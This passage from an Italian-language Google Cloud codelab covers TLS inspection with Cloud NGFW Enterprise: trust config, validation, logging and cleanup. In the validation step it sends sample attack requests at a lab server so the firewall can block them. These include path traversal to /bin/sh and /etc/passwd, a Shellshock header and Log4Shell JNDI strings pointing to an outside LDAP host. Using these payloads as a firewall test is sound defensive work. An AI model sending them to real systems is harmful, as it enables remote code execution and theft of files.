      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRS
      -----END CERTIFICATE-----

Importa la configurazione dell'attendibilità:

gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml

Aggiorna il file YAML del criterio TLS per includere la configurazione dell'attendibilità:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
minTlsVersion: TLS_1_1
tlsFeatureProfile: PROFILE_COMPATIBLE
trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config
EOF

Importa il criterio TLS aggiornato:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

Nota: la propagazione delle modifiche alla configurazione dei certificati potrebbe richiedere fino a 15 minuti.

12. Convalida ispezione TLS E/W in corso...

Accedi nuovamente al client tramite SSH per testare il traffico E/W con la configurazione di attendibilità aggiornata:

Nota: assicurati che le variabili di ambiente siano ancora impostate, che possono essere verificate eseguendo i comandi seguenti:

printenv target_privateip

Se le variabili non sono più impostate, esegui questo comando per impostarle:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Esegui la richiesta TLS di esempio al server:

curl https://$target_privateip --max-time 2

Nota: l'aggiornamento dei certificati potrebbe richiedere fino a 15 minuti.

Se continui a visualizzare l'output riportato di seguito, attendi la propagazione degli aggiornamenti.

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

Output previsto:

Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone

Invia traffico di prova dannoso al server:

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

Output previsto:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

Non vengono ricevute risposte come da output previsto di seguito, a conferma del fatto che gli attacchi campione sono ora bloccati per E/W.

13. Logging

Vai a Logging > Esplora log tramite la console Cloud, inserisci il filtro in basso ed esegui una query sui log. Sostituisci [PROJECT_ID] con il tuo project_id:

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"

Le voci di log di Cloud NGFW Enterprise devono essere visualizzate in modo simile all'esempio seguente:

Espandi le voci di log e nota che gli attacchi inviati dalla VM client al server sono stati identificati e bloccati (Vulnerabilità di esecuzione del codice remoto Apache Log4j come mostrato nello screenshot di seguito).

Hai eseguito correttamente il deployment di Cloud NGFW Enterprise con l'ispezione TLS per bloccare le richieste dannose.

Per i passaggi di pulizia, vai alla sezione successiva.

14. Passaggi per la pulizia

Pulizia della configurazione di base

Rimuovi le istanze:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

Segui i passaggi riportati di seguito se i ruoli tagAdmin e tagUsers sono stati modificati:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

Rimuovi la chiave e i valori tag:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

Rimuovi il criterio di rete e l'associazione del firewall Cloud:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Elimina il router Cloud e Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

Elimina gli indirizzi IP riservati:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Cloud Firewall SPG, associazione e pulizia TLS

Elimina il gruppo di profili di sicurezza e il profilo della minaccia nel seguente ordine:

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

Elimina l'associazione degli endpoint Cloud Firewall:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

Elimina l'endpoint firewall di Cloud. Questa operazione può richiedere circa 20 minuti:

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

Facoltativamente, verifica che l'endpoint Cloud NGFW sia stato eliminato eseguendo questo comando:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Lo stato dell'endpoint dovrebbe mostrare:

STATE: DELETING

Al termine, l'endpoint non verrà più elencato.

Elimina il criterio TLS e la configurazione dell'attendibilità in questo ordine:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

gcloud -q alpha certificate-manager trust-configs delete \
  $prefix-trust-config \
  --location=$region

Disabilita ed elimina il pool di CA e di CA radice:

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

Pulizia di subnet e VPC

Infine, elimina la subnet e la rete VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

15. Complimenti!

Congratulazioni, hai completato il codelab Cloud NGFW Enterprise per l'ispezione TLS est-ovest e nord-nord.